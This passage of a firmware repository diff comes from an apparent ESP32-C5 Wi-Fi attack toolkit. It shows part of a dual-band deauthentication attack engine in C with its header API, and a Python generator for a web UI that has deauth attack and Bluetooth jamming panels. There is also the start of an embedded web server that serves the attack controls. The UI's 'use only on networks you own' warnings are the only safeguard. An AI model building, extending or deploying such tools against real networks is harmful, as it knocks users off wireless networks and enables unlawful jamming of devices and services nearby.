if (!attack_running) {
xSemaphoreGive(attack_mutex);
return false;
}
// Signal the attack to stop
attack_running = false;
// Get task handle while holding mutex (prevents race condition)
TaskHandle_t task_to_delete = attack_task_handle;
attack_task_handle = NULL; // Clear handle while mutex is held
// Release mutex before waiting for task to finish
// (task needs mutex to clean up properly)
xSemaphoreGive(attack_mutex);
// Wait for task to finish with timeout
int wait_count = 0;
while (task_to_delete != NULL && wait_count < 50) {
// Check if task still exists
eTaskState task_state = eTaskGetState(task_to_delete);
if (task_state == eDeleted || task_state == eInvalid) {
task_to_delete = NULL;
break;
}
vTaskDelay(pdMS_TO_TICKS(100));
wait_count++;
}
if (task_to_delete != NULL) {
ESP_LOGW(TAG, "Attack task didn't terminate cleanly, forcing delete");
// Suspend before deletion for safety
vTaskSuspend(task_to_delete);
vTaskDelay(pdMS_TO_TICKS(10));
vTaskDelete(task_to_delete);
restore_ap_mode();
}
return true;
}
// Check if attack is running
bool deauth_is_running(void) {
return attack_running;
}
// Get statistics
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time) {
if (total_packets) {
*total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
}
if (packets_24ghz) {
*packets_24ghz = target_24ghz.packets_sent;
}
if (packets_5ghz) {
*packets_5ghz = target_5ghz.packets_sent;
}
if (elapsed_time && attack_running) {
*elapsed_time = get_time_sec() - attack_start_time;
} else if (elapsed_time) {
*elapsed_time = 0;
}
}

View File

@@ -0,0 +1,50 @@
#ifndef DEAUTH_ENGINE_H
#define DEAUTH_ENGINE_H
#include <stdbool.h>
#include <stdint.h>
// Target structure
typedef struct {
uint8_t bssid[6];
char ssid[33];
uint8_t channel;
uint32_t packets_sent;
bool active;
} deauth_target_t;
/**
* @brief Start dual-band deauth attack
*
* @param target_24ghz 2.4GHz target (can be NULL if not used)
* @param target_5ghz 5GHz target (can be NULL if not used)
* @param duration Attack duration in seconds
* @return true if attack started successfully
*/
bool deauth_start_attack(deauth_target_t *target_24ghz, deauth_target_t *target_5ghz, uint32_t duration);
/**
* @brief Stop deauth attack
*
* @return true if attack stopped successfully
*/
bool deauth_stop_attack(void);
/**
* @brief Check if attack is running
*
* @return true if attack is active
*/
bool deauth_is_running(void);
/**
* @brief Get attack statistics
*
* @param total_packets Output: total packets sent
* @param packets_24ghz Output: 2.4GHz packets sent
* @param packets_5ghz Output: 5GHz packets sent
* @param elapsed_time Output: elapsed time in seconds
*/
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time);
#endif /* DEAUTH_ENGINE_H */

View File

@@ -0,0 +1,807 @@
#!/usr/bin/env python3
"""
Generate enhanced hacker-style UI for ESP32-C5 Toolkit
This script generates the HTML/CSS/JS for the embedded web interface
"""
html_template = '''<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ESP32-C5 TOOLKIT</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
<style>
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&family=Share+Tech+Mono&display=swap');
* { margin: 0; padding: 0; box-sizing: border-box; }
:root {
--primary: #00ff41;
--secondary: #00d4ff;
--danger: #ff0040;
--bg-dark: #0a0a0a;
--bg-darker: #050505;
--bg-panel: #111111;
--border: #00ff41;
--text: #00ff41;
--text-dim: #00aa2a;
--glow: 0 0 10px rgba(0, 255, 65, 0.5);
}
body {
font-family: 'JetBrains Mono', 'Share Tech Mono', monospace;
background: var(--bg-darker);
color: var(--text);
overflow-x: hidden;
position: relative;
}
body::before {
content: '';
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,255,65,0.03) 2px, rgba(0,255,65,0.03) 4px),
radial-gradient(circle at 20% 50%, rgba(0,255,65,0.05) 0%, transparent 50%),
radial-gradient(circle at 80% 50%, rgba(0,212,255,0.05) 0%, transparent 50%);
pointer-events: none;
z-index: 0;
}
.matrix-bg {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.1;
z-index: 0;
pointer-events: none;
}
.container {
display: grid;
grid-template-columns: 280px 1fr;
min-height: 100vh;
position: relative;
z-index: 1;
}
.sidebar {
background: var(--bg-panel);
border-right: 2px solid var(--border);
box-shadow: var(--glow);
padding: 20px 0;
position: sticky;
top: 0;
height: 100vh;
overflow-y: auto;
}
.sidebar-header {
padding: 20px;
border-bottom: 2px solid var(--border);
margin-bottom: 20px;
}
.sidebar-header h1 {
font-size: 1.4rem;
letter-spacing: 3px;
text-transform: uppercase;
color: var(--primary);
text-shadow: var(--glow);
margin-bottom: 5px;
}
.sidebar-header .subtitle {
font-size: 0.7rem;
color: var(--text-dim);
letter-spacing: 2px;
}
.nav-menu {
list-style: none;
}
.nav-item {
padding: 15px 25px;
cursor: pointer;
transition: all 0.3s;
border-left: 3px solid transparent;
position: relative;
font-size: 0.9rem;
letter-spacing: 1px;
}
.nav-item::before {
content: '> ';
opacity: 0;
transition: opacity 0.3s;
color: var(--primary);
}
.nav-item:hover, .nav-item.active {
background: rgba(0, 255, 65, 0.1);
border-left-color: var(--primary);
transform: translateX(5px);
}
.nav-item.active::before, .nav-item:hover::before {
opacity: 1;
}
.content-area {
padding: 30px;
background: var(--bg-dark);
position: relative;
}
.page {
display: none;
animation: fadeIn 0.3s;
}
.page.active {
display: block;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
.page-header {
margin-bottom: 30px;
padding-bottom: 15px;
border-bottom: 2px solid var(--border);
}
.page-header h2 {
font-size: 1.8rem;
letter-spacing: 4px;
text-transform: uppercase;
color: var(--primary);
text-shadow: var(--glow);
}
.panel {
background: var(--bg-panel);
border: 1px solid var(--border);
border-radius: 0;
padding: 25px;
margin-bottom: 20px;
box-shadow: 0 0 20px rgba(0, 255, 65, 0.1);
}
.panel-header {
font-size: 1.1rem;
letter-spacing: 2px;
margin-bottom: 20px;
color: var(--secondary);
text-transform: uppercase;
border-bottom: 1px solid var(--border);
padding-bottom: 10px;
}
.btn {
background: transparent;
border: 2px solid var(--border);
color: var(--text);
padding: 12px 24px;
font-family: inherit;
font-size: 0.9rem;
letter-spacing: 2px;
text-transform: uppercase;
cursor: pointer;
transition: all 0.3s;
position: relative;
overflow: hidden;
}
.btn::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: var(--primary);
transition: left 0.3s;
z-index: -1;
}
.btn:hover::before {
left: 0;
}
.btn:hover {
color: var(--bg-dark);
box-shadow: var(--glow);
}
.btn:disabled {
opacity: 0.5;
cursor: not-allowed;
}
.btn-danger {
border-color: var(--danger);
color: var(--danger);
}
.btn-danger::before {
background: var(--danger);
}
.btn-danger:hover {
color: var(--bg-dark);
}
.terminal {
background: var(--bg-darker);
border: 1px solid var(--border);
padding: 20px;
font-family: 'JetBrains Mono', monospace;
font-size: 0.85rem;
color: var(--text);
min-height: 300px;
max-height: 500px;
overflow-y: auto;
line-height: 1.6;
}
.terminal-line {
margin-bottom: 5px;
}
.terminal-prompt {
color: var(--secondary);
}
.terminal-output {
color: var(--text);
}
.terminal-error {
color: var(--danger);
}
.graph-container {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 20px;
margin: 20px 0;
position: relative;
}
.graph-container canvas {
max-height: 400px;
}
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 20px;
margin: 20px 0;
}
.stat-card {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 20px;
text-align: center;
}
.stat-value {
font-size: 2rem;
color: var(--primary);
text-shadow: var(--glow);
margin: 10px 0;
}
.stat-label {
font-size: 0.8rem;
color: var(--text-dim);
text-transform: uppercase;
letter-spacing: 2px;
}
table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
font-size: 0.85rem;
}
table th {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 12px;
text-align: left;
text-transform: uppercase;
letter-spacing: 1px;
color: var(--primary);
}
table td {
border: 1px solid var(--border);
padding: 10px 12px;
background: var(--bg-darker);
}
table tr:hover td {
background: rgba(0, 255, 65, 0.1);
}
.form-group {
margin-bottom: 20px;
}
.form-label {
display: block;
margin-bottom: 8px;
color: var(--text);
text-transform: uppercase;
letter-spacing: 1px;
font-size: 0.85rem;
}
.form-control {
width: 100%;
background: var(--bg-darker);
border: 1px solid var(--border);
color: var(--text);
padding: 10px;
font-family: inherit;
font-size: 0.9rem;
}
.form-control:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 10px rgba(0, 255, 65, 0.3);
}
.status-indicator {
display: inline-block;
width: 10px;
height: 10px;
border-radius: 50%;
margin-right: 8px;
animation: pulse 2s infinite;
}
.status-indicator.active {
background: var(--primary);
box-shadow: 0 0 10px var(--primary);
}
.status-indicator.inactive {
background: var(--text-dim);
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
.warning-box {
background: rgba(255, 0, 64, 0.1);
border: 2px solid var(--danger);
padding: 15px;
margin: 20px 0;
color: var(--danger);
text-transform: uppercase;
letter-spacing: 1px;
font-size: 0.85rem;
}
.channel-map {
display: grid;
grid-template-columns: repeat(13, 1fr);
gap: 5px;
margin: 20px 0;
}
.channel-block {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 10px;
text-align: center;
font-size: 0.8rem;
position: relative;
}
.channel-block.active {
background: var(--primary);
color: var(--bg-dark);
box-shadow: var(--glow);
}
.channel-block.occupied {
border-color: var(--secondary);
}
.signal-bar {
height: 4px;
background: var(--bg-darker);
margin-top: 5px;
position: relative;
overflow: hidden;
}
.signal-bar-fill {
height: 100%;
background: linear-gradient(90deg, var(--danger), var(--primary));
transition: width 0.3s;
}
@media (max-width: 768px) {
.container {
grid-template-columns: 1fr;
}
.sidebar {
position: relative;
height: auto;
}
}
</style>
</head>
<body>
<div class="container">
<div class="sidebar">
<div class="sidebar-header">
<h1>ESP32-C5</h1>
<div class="subtitle">TOOLKIT v2.0</div>
</div>
<ul class="nav-menu" id="nav">
<li class="nav-item active" data-page="dashboard">DASHBOARD</li>
<li class="nav-item" data-page="wifi-scan">WIFI SCANNER</li>
<li class="nav-item" data-page="packet-sniff">PACKET SNIFFER</li>
<li class="nav-item" data-page="bt-scan">BLUETOOTH SCANNER</li>
<li class="nav-item" data-page="deauth">DEAUTH ENGINE</li>
<li class="nav-item" data-page="signal-analysis">SIGNAL ANALYSIS</li>
<li class="nav-item" data-page="channel-map">CHANNEL MAP</li>
<li class="nav-item" data-page="settings">SYSTEM CONFIG</li>
</ul>
</div>
<div class="content-area">
<!-- Dashboard -->
<div id="dashboard" class="page active">
<div class="page-header">
<h2>SYSTEM DASHBOARD</h2>
</div>
<div class="stats-grid">
<div class="stat-card">
<div class="stat-label">UPTIME</div>
<div class="stat-value" id="uptime">00:00:00</div>
</div>
<div class="stat-card">
<div class="stat-label">FREE HEAP</div>
<div class="stat-value" id="free-heap">0 KB</div>
</div>
<div class="stat-card">
<div class="stat-label">NETWORKS FOUND</div>
<div class="stat-value" id="networks-count">0</div>
</div>
<div class="stat-card">
<div class="stat-label">PACKETS CAPTURED</div>
<div class="stat-value" id="packets-count">0</div>
</div>
</div>
<div class="panel">
<div class="panel-header">SYSTEM INFORMATION</div>
<div id="system-info" class="terminal"></div>
</div>
<div class="panel">
<div class="panel-header">NETWORK ACTIVITY</div>
<div class="graph-container">
<canvas id="network-activity-chart"></canvas>
</div>
</div>
</div>
<!-- WiFi Scanner -->
<div id="wifi-scan" class="page">
<div class="page-header">
<h2>WIFI NETWORK SCANNER</h2>
</div>
<div class="panel">
<div class="panel-header">SCAN CONTROLS</div>
<button class="btn" id="scan-btn">INITIATE SCAN</button>
<button class="btn" id="auto-scan-btn">AUTO SCAN</button>
<span class="status-indicator inactive" id="scan-status"></span>
<span id="scan-status-text">READY</span>
</div>
<div class="panel">
<div class="panel-header">SIGNAL STRENGTH DISTRIBUTION</div>
<div class="graph-container">
<canvas id="rssi-chart"></canvas>
</div>
</div>
<div class="panel">
<div class="panel-header">DETECTED NETWORKS</div>
<div id="scan-results">
<table id="networks-table">
<thead>
<tr>
<th>SSID</th>
<th>BSSID</th>
<th>BAND</th>
<th>CH</th>
<th>RSSI</th>
<th>SECURITY</th>
<th>SIGNAL</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
</div>
</div>
<!-- Packet Sniffer -->
<div id="packet-sniff" class="page">
<div class="page-header">
<h2>PACKET SNIFFER</h2>
</div>
<div class="panel">
<div class="panel-header">CAPTURE CONFIGURATION</div>
<div class="form-group">
<label class="form-label">CHANNEL</label>
<select class="form-control" id="sniff-channel">
<option value="0">ALL CHANNELS (HOPPING)</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
</select>
</div>
<div class="form-group">
<label class="form-label">FILTER TYPE</label>
<select class="form-control" id="packet-filter">
<option value="all">ALL PACKETS</option>
<option value="management">MANAGEMENT FRAMES</option>
<option value="data">DATA FRAMES</option>
<option value="control">CONTROL FRAMES</option>
<option value="beacon">BEACON FRAMES</option>
<option value="probe">PROBE REQUESTS/RESPONSES</option>
</select>
</div>
<button class="btn" id="start-sniff">START CAPTURE</button>
<button class="btn" id="stop-sniff" disabled>STOP CAPTURE</button>
<button class="btn" id="clear-packets">CLEAR LOG</button>
</div>
<div class="panel">
<div class="panel-header">PACKET FLOW</div>
<div class="graph-container">
<canvas id="packet-flow-chart"></canvas>
</div>
</div>
<div class="panel">
<div class="panel-header">CAPTURED PACKETS</div>
<div class="terminal" id="packet-log"></div>
</div>
</div>
<!-- Bluetooth Scanner -->
<div id="bt-scan" class="page">
<div class="page-header">
<h2>BLUETOOTH SCANNER</h2>
</div>
<div class="panel">
<div class="panel-header">SCAN CONTROLS</div>
<button class="btn" id="bt-scan-btn">START BT SCAN</button>
<button class="btn" id="bt-scan-stop-btn" disabled>STOP SCAN</button>
<span class="status-indicator inactive" id="bt-scan-status"></span>
</div>
<div class="panel">
<div class="panel-header">BLUETOOTH DEVICES</div>
<table id="bt-devices-table">
<thead>
<tr>
<th>NAME</th>
<th>ADDRESS</th>
<th>RSSI</th>
<th>TYPE</th>
<th>ACTIONS</th>
</tr>
</thead>
<tbody></tbody>
</table>
</div>
<div class="panel">
<div class="panel-header">BLUETOOTH JAMMING</div>
<div class="warning-box">
WARNING: USE ONLY ON YOUR OWN DEVICES. UNAUTHORIZED JAMMING IS ILLEGAL.
</div>
<div class="form-group">
<label class="form-label">TARGET ADDRESS (OPTIONAL)</label>
<input type="text" class="form-control" id="bt-jam-target" placeholder="AA:BB:CC:DD:EE:FF">
</div>
<div class="form-group">
<label class="form-label">DURATION (SECONDS)</label>
<input type="number" class="form-control" id="bt-jam-duration" value="30" min="10" max="300">
</div>
<button class="btn btn-danger" id="bt-jam-start">START JAMMING</button>
<button class="btn btn-danger" id="bt-jam-stop" disabled>STOP JAMMING</button>
</div>
</div>
<!-- Deauth Engine -->
<div id="deauth" class="page">
<div class="page-header">
<h2>DEAUTH ENGINE</h2>
</div>
<div class="warning-box">
WARNING: USE ONLY ON NETWORKS YOU OWN. UNAUTHORIZED USE IS ILLEGAL.
</div>
<div class="panel">
<div class="panel-header">TARGET SELECTION</div>
<button class="btn" id="deauth-scan-btn">SCAN NETWORKS</button>
<div id="deauth-targets"></div>
</div>
<div class="panel">
<div class="panel-header">ATTACK CONFIGURATION</div>
<div class="form-group">
<label class="form-label">DURATION (SECONDS)</label>
<input type="number" class="form-control" id="deauth-duration" value="30" min="10" max="600">
</div>
<button class="btn btn-danger" id="deauth-start-btn">START ATTACK</button>
<button class="btn btn-danger" id="deauth-stop-btn" disabled>STOP ATTACK</button>
</div>
<div class="panel">
<div class="panel-header">ATTACK STATISTICS</div>
<div class="stats-grid">
<div class="stat-card">
<div class="stat-label">TOTAL PACKETS</div>
<div class="stat-value" id="deauth-total">0</div>
</div>
<div class="stat-card">
<div class="stat-label">2.4GHZ PACKETS</div>
<div class="stat-value" id="deauth-24">0</div>
</div>
<div class="stat-card">
<div class="stat-label">5GHZ PACKETS</div>
<div class="stat-value" id="deauth-5">0</div>
</div>
<div class="stat-card">
<div class="stat-label">ELAPSED TIME</div>
<div class="stat-value" id="deauth-time">0s</div>
</div>
</div>
</div>
</div>
<!-- Signal Analysis -->
<div id="signal-analysis" class="page">
<div class="page-header">
<h2>SIGNAL ANALYSIS</h2>
</div>
<div class="panel">
<div class="panel-header">SIGNAL STRENGTH OVER TIME</div>
<div class="graph-container">
<canvas id="signal-time-chart"></canvas>
</div>
</div>
<div class="panel">
<div class="panel-header">CHANNEL UTILIZATION</div>
<div class="graph-container">
<canvas id="channel-util-chart"></canvas>
</div>
</div>
</div>
<!-- Channel Map -->
<div id="channel-map" class="page">
<div class="page-header">
<h2>CHANNEL MAPPING</h2>
</div>
<div class="panel">
<div class="panel-header">2.4GHZ BAND</div>
<div class="channel-map" id="channel-map-24"></div>
</div>
<div class="panel">
<div class="panel-header">5GHZ BAND</div>
<div class="channel-map" id="channel-map-5"></div>
</div>
</div>
<!-- Settings -->
<div id="settings" class="page">
<div class="page-header">
<h2>SYSTEM CONFIGURATION</h2>
</div>
<div class="panel">
<div class="panel-header">DEVICE SETTINGS</div>
<div class="form-group">
<label class="form-label">ANTENNA SELECTION</label>
<select class="form-control" id="antenna-select">
<option value="internal">INTERNAL</option>
<option value="external">EXTERNAL</option>
</select>
</div>
<button class="btn" id="save-settings">SAVE SETTINGS</button>
</div>
<div class="panel">
<div class="panel-header">SYSTEM CONTROL</div>
<button class="btn btn-danger" id="reboot-device">REBOOT DEVICE</button>
</div>
</div>
</div>
</div>
<script>
// Chart.js configurations and data
const charts = {};
let networkActivityData = { labels: [], datasets: [{ label: 'Networks', data: [], borderColor: '#00ff41', backgroundColor: 'rgba(0,255,65,0.1)' }] };
let rssiData = { labels: [], datasets: [{ label: 'RSSI Distribution', data: [], backgroundColor: '#00ff41' }] };
let packetFlowData = { labels: [], datasets: [{ label: 'Packets/sec', data: [], borderColor: '#00d4ff' }] };
let signalTimeData = { labels: [], datasets: [] };
let channelUtilData = { labels: [], datasets: [{ label: 'Utilization %', data: [], backgroundColor: '#00ff41' }] };
// Initialize charts
function initCharts() {
charts.networkActivity = new Chart(document.getElementById('network-activity-chart'), {
type: 'line',
data: networkActivityData,
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
},
scales: {
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } }
}
}
});
charts.rssi = new Chart(document.getElementById('rssi-chart'), {
type: 'bar',
data: rssiData,
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
},
scales: {
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } }
}
}
});
charts.packetFlow = new Chart(document.getElementById('packet-flow-chart'), {
type: 'line',
data: packetFlowData,
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00d4ff' } }
},
scales: {
x: { ticks: { color: '#00d4ff' }, grid: { color: 'rgba(0,212,255,0.1)' } },
y: { ticks: { color: '#00d4ff' }, grid: { color: 'rgba(0,212,255,0.1)' } }
}
}
});
charts.signalTime = new Chart(document.getElementById('signal-time-chart'), {
type: 'line',
data: signalTimeData,
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
},
scales: {
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } }
}
}
});
charts.channelUtil = new Chart(document.getElementById('channel-util-chart'), {
type: 'bar',
data: channelUtilData,
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
},
scales: {
x: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' } },
y: { ticks: { color: '#00ff41' }, grid: { color: 'rgba(0,255,65,0.1)' }, max: 100 }
}
}
});
}
// Navigation
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', () => {
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
item.classList.add('active');
document.querySelectorAll('.page').forEach(p => p.classList.remove('active'));
document.getElementById(item.getAttribute('data-page')).classList.add('active');
});
});
// Initialize on load
document.addEventListener('DOMContentLoaded', function() {
initCharts();
loadSystemInfo();
updateDashboard();
setInterval(updateDashboard, 1000);
});
// API functions and event handlers would go here...
// (This is a template - full implementation continues)
</script>
</body>
</html>'''
# Write the generated HTML
with open('enhanced_ui.html', 'w') as f:
f.write(html_template)
print("Enhanced UI generated successfully!")
print("File: enhanced_ui.html")
print("Size: {} bytes".format(len(html_template)))

View File

@@ -0,0 +1,600 @@
/**
* @file enhanced_web_server.c
* @brief ESP32-C5 Toolkit - Full Featured Web Interface
*
* Features from all projects combined:
* - Dual-band WiFi Scanner (2.4GHz + 5GHz)
* - Dual-band Deauth Engine (simultaneous attack)
* - Channel Usage Visualization (Chart.js)
* - Signal Analysis & RSSI Graphs
* - Packet Sniffer
* - Reconnaissance Dashboard
*/
#include "esp_http_server.h"
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_system.h"
#include "esp_timer.h"
#include "cJSON.h"
#include "deauth_engine.h"
#include <string.h>
#include <stdlib.h>
#define TAG "EnhancedWeb"
// Store last scan results
static wifi_ap_record_t *last_scan_results = NULL;
static uint16_t last_scan_count = 0;
// Store channel stats
static int channel_24ghz[14] = {0}; // Channels 1-13 (+1 for index)
static int channel_5ghz[200] = {0}; // 5GHz channels indexed by number
static int rssi_history[50] = {0}; // Last 50 RSSI readings
static int rssi_index = 0;
// ============================================================================
// EMBEDDED HTML - Full Featured Dashboard
// ============================================================================
static const char* get_enhanced_html(void) {
static const char html[] =
"<!DOCTYPE html>"
"<html lang='en'>"
"<head>"
"<meta charset='UTF-8'>"
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>"
"<title>ESP32-C5 TOOLKIT</title>"
"<script src='https://cdn.jsdelivr.net/npm/chart.js'></script>"
"<style>"
"@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap');"
"*{margin:0;padding:0;box-sizing:border-box}"
":root{"
"--primary:#00ff41;--secondary:#00d4ff;--danger:#ff0040;--warning:#ff9800;"
"--bg-dark:#0a0a0a;--bg-panel:#111;--border:#00ff41;--text:#00ff41}"
"body{font-family:'JetBrains Mono',monospace;background:var(--bg-dark);color:var(--text);overflow-x:hidden}"
"body::before{content:'';position:fixed;top:0;left:0;width:100%;height:100%;"
"background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,255,65,0.03) 2px,rgba(0,255,65,0.03) 4px);"
"pointer-events:none;z-index:0}"
".container{display:grid;grid-template-columns:250px 1fr;min-height:100vh;position:relative;z-index:1}"
".sidebar{background:var(--bg-panel);border-right:2px solid var(--border);padding:15px 0}"
".sidebar h1{padding:15px;font-size:1.2rem;border-bottom:1px solid var(--border);text-align:center;text-shadow:0 0 10px var(--primary)}"
".sidebar ul{list-style:none;margin-top:20px}"
".sidebar li{padding:12px 20px;cursor:pointer;transition:all 0.3s;border-left:3px solid transparent}"
".sidebar li:hover,.sidebar li.active{background:#1a1a1a;border-left-color:var(--primary)}"
".sidebar li.active{color:var(--primary);font-weight:bold}"
".main{padding:20px;overflow-y:auto}"
".page{display:none}.page.active{display:block}"
".card{background:var(--bg-panel);border:1px solid var(--border);padding:20px;margin:15px 0;border-radius:5px}"
".card h2{margin-bottom:15px;color:var(--primary);border-bottom:1px solid #333;padding-bottom:10px}"
".btn{background:var(--bg-panel);color:var(--primary);border:1px solid var(--primary);padding:10px 20px;"
"cursor:pointer;font-family:inherit;margin:5px;border-radius:3px;transition:all 0.3s}"
".btn:hover{background:var(--primary);color:#000}"
".btn-danger{border-color:var(--danger);color:var(--danger)}"
".btn-danger:hover{background:var(--danger);color:#fff}"
".btn-warning{border-color:var(--warning);color:var(--warning)}"
".btn-warning:hover{background:var(--warning);color:#000}"
".grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:20px}"
".stat-box{text-align:center;padding:20px}"
".stat-box .value{font-size:2.5em;color:var(--secondary);text-shadow:0 0 20px var(--secondary)}"
".stat-box .label{color:#888;margin-top:5px}"
"table{width:100%;border-collapse:collapse;margin:10px 0}"
"th,td{border:1px solid #333;padding:10px;text-align:left}"
"th{background:#1a1a1a;color:var(--primary)}"
"tr:hover{background:#1a1a1a}"
".network{padding:10px;border:1px solid #333;margin:5px 0;cursor:pointer;transition:all 0.3s}"
".network:hover{border-color:var(--primary);background:#1a1a1a}"
".network.selected-24{border-color:#2196F3;background:#1565C0}"
".network.selected-5{border-color:var(--warning);background:#663D00}"
".band-24{color:#2196F3}.band-5{color:var(--warning)}"
".rssi-bar{height:8px;background:#333;border-radius:4px;overflow:hidden}"
".rssi-fill{height:100%;transition:width 0.3s}"
".chart-container{height:300px;position:relative}"
".status-running{color:var(--danger);animation:pulse 1s infinite}"
"@keyframes pulse{0%,100%{opacity:1}50%{opacity:0.5}}"
".target-card{display:inline-block;padding:15px;margin:10px;border-radius:8px;min-width:200px}"
".target-24{background:#1565C0;border:2px solid #2196F3}"
".target-5{background:#663D00;border:2px solid var(--warning)}"
".warning-box{background:#331111;border:1px solid var(--danger);padding:15px;margin:10px 0;border-radius:5px}"
".info-box{background:#112233;border:1px solid var(--secondary);padding:15px;margin:10px 0;border-radius:5px}"
"@media(max-width:768px){.container{grid-template-columns:1fr}.sidebar{display:none}}"
"</style>"
"</head>"
"<body>"
"<div class='container'>"
"<div class='sidebar'>"
"<h1>&#x1F4E1; ESP32-C5<br>TOOLKIT</h1>"
"<ul id='nav'>"
"<li class='active' data-page='dashboard'>&#x1F4CA; Dashboard</li>"
"<li data-page='scanner'>&#x1F50D; WiFi Scanner</li>"
"<li data-page='deauth'>&#x26A1; Deauth Engine</li>"
"<li data-page='channels'>&#x1F4F6; Channel Map</li>"
"<li data-page='recon'>&#x1F575; Reconnaissance</li>"
"<li data-page='settings'>&#x2699; Settings</li>"
"</ul>"
"</div>"
"<div class='main'>"
"<!-- DASHBOARD PAGE -->"
"<div id='dashboard' class='page active'>"
"<h1>&#x1F4CA; System Dashboard</h1>"
"<div class='grid'>"
"<div class='card stat-box'><div class='value' id='heap'>--</div><div class='label'>Free Heap</div></div>"
"<div class='card stat-box'><div class='value' id='networks'>--</div><div class='label'>Networks Found</div></div>"
"<div class='card stat-box'><div class='value' id='attack-status'>IDLE</div><div class='label'>Deauth Status</div></div>"
"</div>"
"<div class='card'><h2>&#x1F4C8; Signal Strength History</h2><div class='chart-container'><canvas id='rssiChart'></canvas></div></div>"
"<div class='card'><h2>&#x1F310; Quick Actions</h2>"
"<button class='btn' onclick='quickScan()'>&#x1F50D; Quick Scan</button>"
"<button class='btn' onclick='showPage(\"deauth\")'>&#x26A1; Deauth Engine</button>"
"<button class='btn' onclick='showPage(\"channels\")'>&#x1F4F6; Channel Map</button>"
"</div>"
"</div>"
"<!-- SCANNER PAGE -->"
"<div id='scanner' class='page'>"
"<h1>&#x1F50D; Dual-Band WiFi Scanner</h1>"
"<div class='card'>"
"<button class='btn' onclick='scanNetworks()'>&#x1F50D; SCAN ALL NETWORKS</button>"
"<span id='scan-status' style='margin-left:20px'></span>"
"</div>"
"<div class='grid'>"
"<div class='card'><h2>&#x1F4F6; 2.4 GHz Networks</h2><div id='networks-24'></div></div>"
"<div class='card'><h2>&#x1F4E1; 5 GHz Networks</h2><div id='networks-5'></div></div>"
"</div>"
"<div class='card'><h2>&#x1F4CB; All Networks</h2><div id='networks-table'></div></div>"
"</div>"
"<!-- DEAUTH PAGE -->"
"<div id='deauth' class='page'>"
"<h1>&#x26A1; Dual-Band Deauth Engine</h1>"
"<div class='warning-box'>&#x26A0; WARNING: Use ONLY on networks YOU OWN! Unauthorized use is ILLEGAL!</div>"
"<div class='info-box'>&#x1F4A1; This attacks BOTH 2.4GHz and 5GHz targets SIMULTANEOUSLY by rapid channel switching.<br>"
"&#x26A0; WiFi AP will be OFFLINE during attack and auto-restore after.</div>"
"<div class='card'><h2>&#x1F3AF; Selected Targets</h2><div id='targets'><p style='color:#888'>Scan networks first, then select targets</p></div></div>"
"<div class='card'><h2>&#x2699; Attack Configuration</h2>"
"<p>Duration: <input type='number' id='duration' value='30' min='10' max='300' style='background:#222;border:1px solid #333;color:#0f0;padding:5px;width:80px'> seconds</p>"
"<p style='color:#888;margin-top:10px'>10-300 seconds recommended. AP auto-restores after attack.</p>"
"</div>"
"<div class='card'>"
"<button class='btn btn-danger' onclick='startDeauth()' id='attack-btn'>&#x26A1; START DUAL-BAND ATTACK</button>"
"<button class='btn' onclick='stopDeauth()'>&#x1F6D1; STOP ATTACK</button>"
"</div>"
"<div class='card'><h2>&#x1F4CA; Attack Statistics</h2><div id='attack-stats'><p style='color:#888'>No attack running</p></div></div>"
"</div>"
"<!-- CHANNEL MAP PAGE -->"
"<div id='channels' class='page'>"
